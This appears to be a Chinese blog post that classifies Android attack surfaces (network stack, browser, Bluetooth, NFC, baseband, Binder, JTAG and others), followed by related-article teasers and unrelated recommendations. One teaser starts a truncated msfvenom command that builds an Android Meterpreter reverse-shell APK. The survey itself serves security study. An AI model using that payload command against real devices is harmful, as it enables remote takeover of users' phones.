关于Android攻击面
先对android整个攻击面有一个体系化的认识,有助于理清思路,
对今后的学习有很大的帮助。
什么是攻击向量:从语言语法的角度来说,是一个动词,描述用来执行攻击的方法,描述了攻击者如何到达并接触任意给定的漏洞代码。
什么是攻击面:从语法语法的角度来说,是一个名词,用来描述攻击者可以执行并而进攻的代码,它描述了代码中存在的可能尚未被发现的安全漏洞的位置。
攻击面主要属性:
1.攻击向量:所需要的用户交互以及认证条件,限制了给定攻击面中发现任意安全漏洞的影响后果。某些攻击面需要进行物理接触才能发动一次完整的攻击,有些则需要运用社会工程学,诱骗用户对链接进行点击。
2.获取的权限:在给定攻击面背后的代码可能以极高的权限运行,如内核代码。有的可能在沙盒中以受限权限运行。
3.内存安全性:是以c系语言还是非c系语言写的,c系语言存在更多的安全漏洞。
4.复杂性:越复杂的代码,算法,协议越容易出现漏洞。
攻击面进行分类:
1:远程攻击面:攻击者无需在物理位置接近目标,而可以直接通过计算机网络发动攻击,具有极大的危害性。
1>网络协议栈:安全漏洞研究的圣杯,不需要与目标交互就能实施,而且能够获得系统的完全访问控制权,在Android系统中,包含了对IP,TCP,UDP,ICMP等协议的实现。如果在IP包的处理过程中出现可以用的缓冲区溢出漏洞,将成为最为严重的安全漏洞,可以远程执行内核中的任意代码。
2>暴露的网络服务:无需目标交互的联网服务是第二位具有吸引力的攻击面。这些服务通常的用户空间执行,但是仍有一些潜在的网络服务,如果成功利用,仍然可以获得root权限,当然这类网络服务极少,可以通过nmap等端口扫描器获得,也可以通过netstat获得,当启动wifi,会有额外的网络服务。
3>移动技术:移动设备通过移动通信暴露了其他远程攻击面,包括通过短信服务(SMS)和多媒体消息服务(MMS),同时使用SMS和MMS消息作为攻击向量还可以达到其它攻击面。MMS消息中可以包含一些多媒体内容。而其它一些协议也实现在SMS之上。
2:客户端攻击面:由于网络的一般配置屏蔽了许多传统的远程的攻击面,而且客户端对与它通信的服务器非常信任。所以,攻击者很大程度上将关注点转移到客户端软件攻击面中存在的安全漏洞。
1>浏览器攻击面:现代Web浏览器作为功能最为强大的客户端应用代表,支持HTML,Javascript和丰富的web应用。除了渲染和执行应用逻辑之外还支持一些底层协议。如FTP,HTTP。这些都是有数量惊人的后台代码实现的。而其中的每个组件都带有一个攻击面。可以通过诱导点击,“水坑”等方法进行攻击
2>web驱动的移动应用程序:每个web驱动的移动应用暴露的攻击面都是不同的。
3>广告网络:广告网络由于嵌入嵌入式浏览器引擎(WebView),浏览器攻击对于这些应用都是存在的,但一般只能通过中间人攻击人向量。而且与传统浏览器攻击不同,这种组件还会暴露额外的攻击面,可以利用Java类型的反射攻击进行远程攻破。而且,广告框架可能会对隐私构成显著威胁。
4>媒体和文档处理:常见的文件格式漏洞
5>电子邮件:相对较少
3:谷歌基本设施
1>Google Play商店:国内无需考虑
2>恶意应用:安装一款应用就等同于授予应用开发者任意代码执行的权限,由于应用数量极大,用户难以确定是否该信任特定的开发者。
3>第三方应用生态圈:在Google play商店之外安装应用,尤其是部分破解软件,极易捆绑病毒。
4>Bouncer:
5>Google Phone Home:
4:物理相邻
1>无线通信:Android设备都支持多种基于射频的无线技术,几乎都支持蓝牙和wifi和GPS,较新的还支持NFC(近场通信),每种无线技术都具有特有的频率,且极易受到大量的攻击,包括主动攻击和被动攻击。其中,主动攻击包括阻塞,欺骗,中间人(MitM)等形式。由于wifi和蜂窝网络是用于访问整个互联网,因此可以达到非常丰富的攻击面
1>>GPS:通常指代Android中的位置信息,可以让设备确定自身在地球的位置。它通过卫星获取信号确定自身位置。
2>>基带:蜂窝调解器可以提供给基带处理器和移动网络通信的功能。它是Android电话栈的软件组件,由于对它的攻击终端用户难以察觉,而且能够访问手机通话记录及传输数据,对它的攻击具有非常的吸引力。尽管属于远程攻击,但依旧需要在一定的范围内,近年来的“伪基站”攻击
3>>蓝牙:蓝牙具有30多种协议,每种蓝牙都定义了蓝牙设备的一项特殊功能。如FTP(文件传输协议),HFP(免提协议),HSP(Handest Profile),HID(人机接口设备协议),DUN(拨号网络协议)。蓝牙协议功能首先需要配对。但一些设备使用硬编码的数字码,非常容易攻击。配对后,有可能劫持会话并进行滥用,可能的攻击方法包括BlueJacking,BlueSnarfing和BlueBugging。除了可以与一些免提设备配对,android设备之间还能互相配对,用于传输联系人列表,文件等。蓝牙设计时功能非常多样化,也提供了攻击者希望的几乎所有的功能访问
4>>Wi-Fi:Wi-Fi主要用于连接局域网,由局域网提供对互联网的访问。详情见于《黑客大曝光:无线网络安全》
5>>NFC:NFC是建立与射频标示之上(RFID)的无线通信技术,NFC在所有的无线技术中,作用范围最短,通常不超过20cm。Android设备上的NFC有三种典型场景。第一,标签被呈现给设备,设备读取标签的数据并进行处理。第二,两位用户将他们的Anddorid设备贴在一起传输数据。第三,用于非接触式的支付。最流行的消息格式是NFC数据交换格式(NDEF),解析时会导致执行一些动作。在某些情况下,无需用户交互。
2>其他技术:除了无线通信外,还有其它两个技术也与Android设备的整体攻击面相关。具体来说为QR码(快速响应矩阵码)和语音指令
5:本地攻击面:当获得对一个设备的任意代码执行后,逻辑上的下一步就是权限提升。终极目标是获得享有特权的代码执行,包括在内存空间执行。或者以root执行。然而只是获得少量权限,也可以暴露更多受限的攻击面。由于权限隔离,为了实现终极目标,需要结合使用多个小的提升目标。
1>探究文件系统:Android的UNIX血统意味着许多攻击面都是通过文件系统条目暴露的
2>其它的本地攻击面:除了文件系统,其它的本地攻击面是有linux'内核暴露的,包括系统调用和套接字实现
1>>系统调用:系统调用处理代表一个值得关注的攻击面
2>>套接字:Android上运行的软件使用不同类型的套接字进行ipc
3>>Binder:Binder驱动以及它依赖的软件代表Android特有的一个攻击面。Binder驱动是Intent的基础,而Intent是用于在应用层Android组件进行通信。Binder驱动本身在内核空间实现,并通过。/dev/binder字符设备暴露一个攻击面。
4>>共享内存:一种定制的内存共享机制
5>>基带接口:Android智能手机上包含第二个操作系统,就是基带
6>>攻击硬件支持的服务:包括GPS接收器,光环境传感器,陀螺仪
6:物理攻击面:需要物理接触设备的攻击被称为依赖于物理攻击面,物理面攻击与物理相邻不同的是物理相邻不需要实际接触目标。
1>>拆解设备:对目标设备进行拆解,就能够对目标设备中的硬件发起攻击。打开一个硬件设备通常会发现
【1】:暴露的串口,允许接收调试消息
【2】:暴露的JTAG调试端口,允许对设备的固件进行调试,重刷或访问
2>>USB:USB是Android设备与其它设备进行交互的标准化有线接口
3>>其它物理攻击面:包括手机SIM卡,SD卡,HDMI卡,暴露的测试点和对接连接器
7:第三方修改:参与生产Android设备的实体会修改操作系统的不同组成部分,一般需要手工进行分析。
关于Android攻击面的更多相关文章
- 利用Metasploit攻击Android
首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip L ...
- 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击
通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...
- Android安全之Intent Scheme Url攻击
0X01 前言 Intent scheme url是一种用于在web页面中启动终端app activity的特殊URL,在针对intent scheme URL攻击大爆发之前,很多android的浏览 ...
- Android安全之Https中间人攻击漏洞
Android安全之Https中间人攻击漏洞 0X01 概述 HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...
- 利用Android的UXSS漏洞完成一次XSS攻击
黑客攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你.下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机). 1.搜集信息 msf > search a ...
- [置顶] Android框架攻击之Fragment注入
为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的.关于Fragment的使用说明,可以阅读& ...
- Android Intent Scheme URLs攻击
0x0 引言 我们知道,在Android上的Intent-based攻击非常普遍.这样的攻击轻则导致应用程序崩溃.重则可能演变提权漏洞.当然,通过静态特征匹配,Intent-Based的恶意样本还是非 ...
- 【转】针对Android上的ROP攻击剖析
引言 ROP(Return-oriented programming),即“返回导向编程技术”.其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回 ...
- Android 中间人攻击
0x00 Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话.被攻击机器和server表面上工作正常,实际上已经被中间人劫持.能够从一张图来明确这个过程. 受攻击主机发送的 ...
随机推荐
- 能ping通网络,也正常连接,就是打不开网页,无法访问网络
netsh winsock reset命令,作用是重置 Winsock 目录.如果一台机器上的Winsock协议配置有问题的话将会导致网络连接等问题,就需要用netsh winsock reset命令 ...
- NGUI执行基本事件的原理
通常我们为对象附加一个脚本组件,脚本组件只要加此鼠标处理事件方法,这个对象就有了点击事件了: void OnClick() { Debug.Log("onclick"); } 可为 ...
- Python全栈工程师(递归函数、闭包)
ParisGabriel 每天坚持手写 一天一篇 决定坚持几年 全栈工程师 Python人工智能从入门到精通 函数式编程: 是指用一系列函数解决问题 每一个函数完成细 ...
- 第一次软件工程作业补充plus
一.代码的coding地址:coding地址. 二.<构建之法>读后问题以及感言(补充): 1.对于7.3MSF团队模型,7.2.6保持敏捷,预期和适应变化,中的"我们是预期变化 ...
- 在python中如何比较两个float类型的数据是否相等
奇怪的现象 前几天跟同事聊起来,在计算机内部float比较是很坑爹的事情.比方说,0.1+0.2得到的结果竟然不是0.3? >>> 0.1+0.2 0.300000000000000 ...
- __PRETTY_FUNCTION__,__func__,__FUNCTION__
今天在看苹果的官方demo的时候,发现这个打印调用方法的参数,很是好奇,遂bing了一番. NSLog(@"----------------%s",__PRETTY_FUNCTIO ...
- 什么是SQL注入?(理解)
SQL注入攻击是黑客对数据库进行攻击的常用手段之一.一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,注入者可以在表单中输入一段数据库查询代码并提交,程序将提交的信息拼凑生成一个完整s ...
- Codeforces Round #386 (Div. 2) 746G(树的构造)
大体题意 一棵树有n个结点,告诉你每层深度上有a[i]个结点,以及有多少叶子结点 让你生成这棵树 题解:考虑一颗树,如果满足每层深度上有a[i]结点,最多能有多少叶子结点 那么答案很简单,就是对(a[ ...
- 全网把Map中的hash()分析的最透彻的文章,别无二家。
你知道HashMap中hash方法的具体实现吗?你知道HashTable.ConcurrentHashMap中hash方法的实现以及原因吗?你知道为什么要这么实现吗?你知道为什么JDK 7和JDK 8 ...
- 动态MST
原谅我真的写不下去了,太难写了,先占坑. 啥时候有比较连续的时间了再写 肯定没用了的无聊代码 #include <cstdio> #include <vector> const ...